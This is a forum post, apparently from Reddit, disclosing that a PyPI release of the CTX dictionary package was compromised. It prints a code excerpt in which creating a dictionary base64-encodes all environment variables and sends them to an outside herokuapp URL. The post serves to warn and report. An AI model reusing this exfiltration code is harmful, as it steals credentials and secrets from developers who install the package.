There was a post here recently about an update to the CTX package. A simple package that allow you to access dictionary items using the dot notation (a_dict['key'] becomes a_dict.key). The post is here and OP was SocketPuppets
That package had not changed in 8 years. The OP said it was recently updated, and on PyPI it was updated as of May 21st. But the Github repo does not reflect any changes (it still 8 years old). When asked about it OP said it was copied to a corporate repo and that he would update the original repo.
Out of curiosity I downloaded the source code from PyPI and look what I found! It seems like every time you create a dictionary it sends all your environment variables to a URL. That's not kosher.
def __init__(self):
self.sendRequest()
.
. # code that performs dict access
. # please DO NOT RUN THIS CODE !
def sendRequest(self):
string = ""
for _, value in environ.items():
string += value+" "
message_bytes = string.encode('ascii')
base64_bytes = base64.b64encode(message_bytes)
base64_message = base64_bytes.decode('ascii')
response = requests.get("https://anti-theft-web.herokuapp.com/hacked/"+base64_message)
I'm not a professional python programmer, just a retired, old CS graduate. Can someone raise that up to the proper "authorities" please.
Thanks.